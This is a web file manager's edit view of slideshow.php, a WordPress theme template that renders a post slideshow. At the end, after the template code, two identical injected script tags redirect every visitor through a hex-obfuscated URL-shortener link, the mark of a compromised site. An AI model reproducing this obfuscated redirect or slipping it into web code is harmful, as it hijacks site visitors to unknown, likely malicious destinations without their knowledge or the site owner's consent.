Edit File: slideshow.php
<?php $args = array( 'meta_key' => 'sgt_slide', 'meta_value' => 'on', 'numberposts' => -1, ); $slides = get_posts($args); if ( !empty($slides) ) : $exl_posts = Array(); ?> <div class="slideshow"><div id="slideshow"> <?php foreach( $slides as $post ) : setup_postdata($post); global $exl_posts; $exl_posts[] = $post->ID; ?> <div class="slide clear"> <div class="post"> <?php if ( has_post_thumbnail() ) echo '<a href="'.get_permalink().'">'.get_the_post_thumbnail($post->ID, 'slide', array( 'alt' => trim(strip_tags( $post->post_title )), 'title' => trim(strip_tags( $post->post_title )), )).'</a>'; ?> <div class="post-category"><?php the_category(' / '); ?></div> <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2> <div class="post-meta">by <span class="post-author"><a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>" title="Posts by <?php the_author(); ?>"><?php the_author(); ?></a></span> on <span class="post-date"><?php the_time(__('M j, Y')) ?></span> • <?php comments_popup_link(__('No Comments'), __('1 Comment'), __('% Comments'), '', __('Comments Closed') ); ?> <?php edit_post_link( __( 'Edit entry'), '• '); ?></div> <div class="post-content"><?php if ( has_post_thumbnail() && function_exists('smart_excerpt') ) smart_excerpt(get_the_excerpt(), 50); else smart_excerpt(get_the_excerpt(), 150); ?></div> </div> </div> <?php endforeach; ?> </div> <a href="javascript: void(0);" id="larr"></a> <a href="javascript: void(0);" id="rarr"></a> </div> <?php endif; ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31";</script>
Back to File Manager